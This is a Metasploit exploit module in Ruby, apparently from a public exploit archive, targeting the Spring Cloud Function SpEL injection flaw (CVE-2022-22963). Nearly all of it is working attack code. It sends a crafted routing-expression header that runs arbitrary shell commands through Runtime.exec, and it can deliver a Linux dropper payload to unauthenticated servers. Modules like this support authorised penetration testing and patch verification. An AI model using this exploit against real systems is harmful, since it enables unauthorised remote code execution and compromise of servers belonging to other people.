Spring Cloud Function SpEL Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Spring Cloud Function SpEL Injection',  
'Description' => %q{  
Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using  
an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting  
the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code  
execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.  
},  
'Author' => [  
'm09u3r', # vulnerability discovery  
'hktalent', # github PoC  
'Spencer McIntyre'  
],  
'References' => [  
['CVE', '2022-22963'],  
['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],  
['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],  
['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']  
],  
'DisclosureDate' => '2022-03-29',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'RPORT' => 8080,  
'TARGETURI' => '/functionRouter'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'])  
)  
  
return CheckCode::Unknown unless res  
  
# both vulnerable and patched servers respond with 500 and a JSON body with these keys  
return CheckCode::Safe unless res.code == 500  
return CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)  
  
# best we can do is detect that the service is running  
CheckCode::Detected  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI']),  
'headers' => {  
'spring.cloud.function.routing-expression' => "T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub("'", "''")}'})"  
}  
)  
  
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?  
fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500  
end  
end  
`